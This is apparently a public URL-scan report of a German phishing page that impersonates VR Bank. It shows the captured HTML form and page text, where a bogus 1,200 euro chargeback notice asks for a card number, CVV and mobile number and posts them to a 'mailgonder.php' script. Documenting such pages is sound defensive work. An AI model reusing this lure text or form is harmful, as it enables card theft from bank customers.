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2a00:1169:103:c7c0::  Public Scan

Form analysis
1 forms found in the DOM

POST mailgonder.php

<form method="post" action="mailgonder.php">
  <div class="row align-self-center">
    <div class="col-md-12 ">
      <div class="form-group">
        <div class="row align-self-center">
          <div class="col-md-12 ">
            <div class="form-group">
              <div class="row justify-content-center">
                <div class="col-md-2 d-sm-none d-md-block"><label> Kreditkartennummer:</label></div>
                <div class="col-md-4"><input type="text" value="" name="Kreditkartennummer" required="" placeholder="Kreditkartennummer*" class="form-control"></div>
              </div>
            </div>
          </div>
        </div>
        <div class="row align-self-center">
          <div class="col-md-12 ">
            <div class="form-group">
              <div class="row justify-content-center">
                <div class="col-md-2 d-sm-none d-md-block"><label> CVV:</label></div>
                <div class="col-md-4"><input type="text" value="" name="CVV" required="" placeholder="CVV/CVC*" class="form-control"></div>
              </div>
            </div>
          </div>
        </div>
        <div class="row align-self-center">
          <div class="col-md-12 ">
            <div class="form-group">
              <div class="row justify-content-center">
                <div class="col-md-2 d-sm-none d-md-block"><label> Mobil:</label></div>
                <div class="col-md-4"><input type="text" value="" name="Mobil" required="" placeholder="Mobil*" class="form-control"></div>
              </div>
            </div>
          </div>
        </div>
        <div style="clear: both; height: 20px;"></div>
        <center></center>
      </div> <br>
      <p><button type="submit" class="btn btn-primary" style="background-color: black; text-transform:none">Sicher Absenden <i class="fa fa-arrow-alt-circle-right" style="color:white"></i></button><br><br>
        <br><br>
      </p>
      <p class="card-text" style="color:blue"> <i class="fa fa-lock"></i><a href="https://www.vrbank.de" target="_blank"> Sicherheitshinweise<br>Zur Demo-Anmeldung<br>Impressum<br>AGB<br>Hilfe</a></p>
      <p class="card-text"><br><a href="https://www.vrbank.de" target="_blank"></a>
      </p>
    </div>
    <br>
    <br>
  </div>
</form>

Text Content

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Service

RÜCKBUCHUNG 1.200,00 €

Bitte füllen Sie mit * gekennzeichnete Felder aus

Kreditkartennummer:

CVV:

Mobil:




Sicher Absenden





Sicherheitshinweise
Zur Demo-Anmeldung
Impressum
AGB
Hilfe